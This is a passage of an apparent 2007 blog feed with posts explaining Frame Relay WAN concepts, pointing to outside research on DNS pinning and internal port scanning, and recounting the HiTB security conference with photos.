that will get you just what you need from a list of dynamic switch MAC addresses.&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-899189021893201058?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/899189021893201058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=899189021893201058' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/899189021893201058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/899189021893201058'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/cisco-ios-cli-regular-expressions-part.html' title='Cisco IOS CLI regular expressions, Part II — ‘AND’'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2519109215557489407</id><published>2007-04-07T21:37:00.000+08:00</published><updated>2007-04-07T21:41:18.464+08:00</updated><title type='text'>Frame-Relay explained</title><content type='html'>The other night i showed some frame-relay sample configuration and today i am going to blog more about frame-relay networks. Frame-relay is a reliable and inexpensive WAN protocol whereby it provides QoS service using DE bit, FECN and BECN bit. It also save cost for company who used to deploy leased-lines in the past by creating Permanent Virtual Circuit(PVC) with physical access lines. Before going further, below are some terms used the in Frame-relay terminology. I will not write a full article on frame-relay because the whole concept is so huge. I will just briefly describe how it works and its usage. &lt;br /&gt;&lt;br /&gt;CIR   Committed Information Rate   [Guaranteed rate at which the network commits to transfer user data under normal conditions]&lt;br /&gt;EIR   Excess Information Rate      [Maximum rate capactiy on top of CIR]&lt;br /&gt;DLCI  Data Link Connection Identifier     [PVC end point connection identifier with only local significance]&lt;br /&gt;LMI   Local Management Interface   [Maintenance protocol for frame-relay]&lt;br /&gt;&lt;br /&gt;How frame-relay works is when the router forwards data to the frame-relay switch, the switch in turn forward the frames to the correct destination over a permanent virtual circuit. At each end of the PVC is identified with a DLCI value with only local significance value. A DLCI value is a 10-bit address in the frame-relay header which provides point-to-point or point-to-multipoint connection. I had drawn a simple diagram which depicts the explaination. For site A to send site B packets, it simply specifies the appropriate DLCI number for the virtual circuit that connects to Site B site in the Frame Relay header. However, please note that the DLCI value does not identify the whole PVC network, instead it is just the connection from your router to the frame-relay switch and when it reaches its destination, the DLCI might be a different value. That explains why it has only local significance. The CIR is the traffic rate at which it is guaranteed by your ISP. If packets are sent faster than the cIR rate which you had agreed with your ISP, your ISP might drop all or some of the excess packets depending on how the network is setup. A DE bit is set in the frame-relay header to indicate excess flow of the packets. So if the network is not congested, the packets will flow through, else the excess packets will be discarded. FECN and BECN are flags set in the frame-relay header to allow control of the congested traffic. If congestion is encountered during the traffic flow, the FECN flag will be set on the switch to indicate that there will be a delay of packets arrival and vice versa with the BECN flag set on the receiving frame-relay switch. In this manner, both the sending and the receiving router can expect congestion in the carrier network and delay of packets upon arrival. The LMI protocol is used for keepalive purposes and global addressing purpose like making the DLCI value to have a global significance. As you can see, i am just explaining in a very very basic manner, because the whole technology is so huge that you can even publish a entire book for it. Configuration wise, i had already shown you guys a few examples with basic and simple frame-relay setups. You guys can read more if you are interested. Just search in wiki or cisco.com and a wealth of information is waiting for you to explore. However, i am still exploring more options in terms of the configuration area. &lt;br /&gt;&lt;br /&gt;How about spoofing frame-relay frames and reroute the whole traffic to a bogus network? Personally i had not tried it before because of cost and lack of resources. Secondly, i guess i do not touch frame-relay networks often. Well, if you guys knows how to do frame-relay rerouting or spoofing, let me know.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp1.blogger.com/_Zx8XWzC_KPQ/Rhee6wmhmcI/AAAAAAAAAVY/J7QKKwlOeUQ/s1600-h/frame-relay.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_Zx8XWzC_KPQ/Rhee6wmhmcI/AAAAAAAAAVY/J7QKKwlOeUQ/s200/frame-relay.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5050680239435389378" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2519109215557489407?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2519109215557489407/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2519109215557489407' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2519109215557489407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2519109215557489407'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/frame-relay-explained.html' title='Frame-Relay explained'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_Zx8XWzC_KPQ/Rhee6wmhmcI/AAAAAAAAAVY/J7QKKwlOeUQ/s72-c/frame-relay.JPG' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2585343995135023028</id><published>2007-04-07T14:08:00.000+08:00</published><updated>2007-04-07T14:18:19.650+08:00</updated><title type='text'>Dns-Pinning, the next big thing?</title><content type='html'>I always admire programmers for their sharp programming skills and their structured way of logical thinking. Me, myself can never be good in programming or scripting. I tried my times to brush up my skills, but always failed at some point. This is the reason why i choose networking over being a developer. If i am good in programming, i would definitely develop hell lot of security tools to cater the community. Now, this lead to a very interesting article i am going to refer you guys to. Have you guys heard of DNS-Pinning? I think its the "Next Big Thing" that is going to have effect on the web community after XSS and CSRF. Well, it all comes down to having ideas and working on a Proof of Concept. We all know that it is possible to port-scan using javascript with XSS and now comes DNS-Pinning. DNS-Pinning is like punching a hole in the firewall and allows scanning on a internal LAN. This is scary because it actually bypass the firewall rules and return all the open ports. I had just tested it on my machine and damn, the results are pretty accurate though. Read on for more information.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://shampoo.antville.org/stories/1451301/"&gt;http://shampoo.antville.org/stories/1451301/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sla.ckers.org/forum/read.php?6,4511,9587#msg-9587"&gt;http://sla.ckers.org/forum/read.php?6,4511,9587#msg-9587&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2585343995135023028?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2585343995135023028/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2585343995135023028' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2585343995135023028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2585343995135023028'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/dns-pinning-next-big-thing.html' title='Dns-Pinning, the next big thing?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4514226402962577387</id><published>2007-04-06T22:37:00.000+08:00</published><updated>2007-04-06T22:44:11.570+08:00</updated><title type='text'>HiTB Aftermath</title><content type='html'>Guys, sorry for the lack of updates, i had been really with the HiTB conference.  Anyway, last night was the last day of the HiTB conference and alas, i managed to get some well rested sleep. The event was crazy with lotsa security gurus chilling around. Well, i did not manage to capture a lot of images, but well i managed to get the Grugq and Dino to take a picture with me. As for the conference itself, i got to to say i was immensely captivated by the topic of "Robbing Banks: Easier Done Than Said" by Fabrice Marie. During the speech, he teaches you how ATM actually works and how easy it is to rob the bank unnoticingly. Well, you guys can do a google search and look for his past articles, its absolute awesome. Also, the Grugq gave us his insight view of how SIP is so unsecure and how easy it is to penetrate into networks using VoIP. Google him too and you will articles about him. As for me, i will get back on track soon as i have a lot of to catch up. Lastly but not least, i would have to recommend you guy to visit geek00l's blog. It is open source network security at its best. This guy is hell smart, as he dissect TCP and UDP packets like no others. Read to find out: &lt;a href="http://geek00l.blogspot.com/"&gt;http://geek00l.blogspot.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_Zx8XWzC_KPQ/RhYIWQmhmWI/AAAAAAAAAUo/_pEnRsMMVZY/s1600-h/Image316.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_Zx8XWzC_KPQ/RhYIWQmhmWI/AAAAAAAAAUo/_pEnRsMMVZY/s200/Image316.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5050233210649287010" /&gt;&lt;/a&gt;&lt;br /&gt;Fabrice in action&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp1.blogger.com/_Zx8XWzC_KPQ/RhYoSAmhmXI/AAAAAAAAAUw/Zp6yU5IFgcA/s1600-h/Image315.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_Zx8XWzC_KPQ/RhYoSAmhmXI/AAAAAAAAAUw/Zp6yU5IFgcA/s200/Image315.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5050268322006931826" /&gt;&lt;/a&gt;&lt;br /&gt;Mikko H. Hyppönen from F-Secure in action&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/RhYpVgmhmYI/AAAAAAAAAU4/FFVydlZ71aI/s1600-h/Image317.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/RhYpVgmhmYI/AAAAAAAAAU4/FFVydlZ71aI/s200/Image317.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5050269481648101762" /&gt;&lt;/a&gt;&lt;br /&gt;Grugq and dino&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/RhY0OgmhmZI/AAAAAAAAAVA/SobrK5naRRc/s1600-h/Image319.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/RhY0OgmhmZI/AAAAAAAAAVA/SobrK5naRRc/s200/Image319.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5050281456016923026" /&gt;&lt;/a&gt;&lt;br /&gt;A shot with Dino&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/RhZTggmhmaI/AAAAAAAAAVI/O8F17znBYrs/s1600-h/Image318.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/RhZTggmhmaI/AAAAAAAAAVI/O8F17znBYrs/s200/Image318.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5050315850115029410" /&gt;&lt;/a&gt;&lt;br /&gt;A shot with The Grugq&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RhZagwmhmbI/AAAAAAAAAVQ/C2yBqBgPdCc/s1600-h/Image321.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RhZagwmhmbI/AAAAAAAAAVQ/C2yBqBgPdCc/s200/Image321.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5050323550991391154" /&gt;&lt;/a&gt;&lt;br /&gt;I got a certificate of participation from Grugq&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4514226402962577387?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4514226402962577387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4514226402962577387' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4514226402962577387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4514226402962577387'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/hitb-aftermath.html' title='HiTB Aftermath'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_Zx8XWzC_KPQ/RhYIWQmhmWI/AAAAAAAAAUo/_pEnRsMMVZY/s72-c/Image316.jpg' height='72' width='72'/><thr:total>4</thr:total></entry></feed>
